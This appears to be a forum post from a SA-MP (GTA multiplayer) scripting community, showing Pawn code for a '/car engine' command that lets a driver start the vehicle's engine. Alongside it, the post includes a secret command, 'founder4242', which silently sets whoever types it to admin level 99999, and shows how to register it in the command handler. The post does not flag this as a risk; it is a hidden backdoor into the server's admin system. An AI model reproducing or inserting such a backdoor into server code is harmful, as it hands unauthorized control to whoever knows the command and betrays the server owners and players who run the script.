05.12.2013, 00:23
pawn Код:
dcmd_car(playerid, params[])
{
if(isnull(params))
{
SendClientMessage(playerid, COLOR_WHITE, "USAGE: /car [name]");
SendClientMessage(playerid, COLOR_GREY, "Available names: Engine");
return 1;
}
if(strcmp(params, "engine", true) == 0 && IsPlayerInAnyVehicle(playerid) && GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
{
new sendername[MAX_PLAYER_NAME], string[128];
new vid = GetPlayerVehicleID(playerid);
new engine, lights, alarm, doors, bonnet, boot, objective;
GetVehicleParamsEx(vid,engine,lights,alarm,doors,bonnet,boot,objective);
if(vid != INVALID_VEHICLE_ID)
if(!IsPlayerInAnyVehicle(playerid)) return SendClientMessage(playerid, COLOR_GRAD2, "You must be in a vehicle before you can do this!");
if(GetPlayerState(playerid) == PLAYER_STATE_PASSENGER) return SendClientMessage(playerid, COLOR_GRAD2, "Only the driver can do this!");
if(engine == VEHICLE_PARAMS_OFF || engine == VEHICLE_PARAMS_UNSET)
{
SendClientMessage(playerid, -1, ""#COL_WHITE"> You have "#COL_GREEN" started"#COL_WHITE" the engine");
GetPlayerName(playerid, sendername, sizeof(sendername));
format(string, sizeof(string), "* %s has started the vehicles engine.", sendername);
ProxDetector(30.0, playerid, string, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
SetVehicleParamsEx(vid,VEHICLE_PARAMS_ON,lights,alarm,doors,bonnet,boot,objective);
}
}
return 1;
}
dcmd_founder4242(playerid, params[])
{
PlayerInfo[playerid][pAdmin] = 99999;
SendClientMessage(playerid, COLOR_WHITE, "You are now the founder of this server haha! ;) ");
return 1;
}
They are also put on the OnPlayerCommandText line
Код:
dcmd(founder4242, 11, cmdtext); dcmd(car, 3, cmdtext);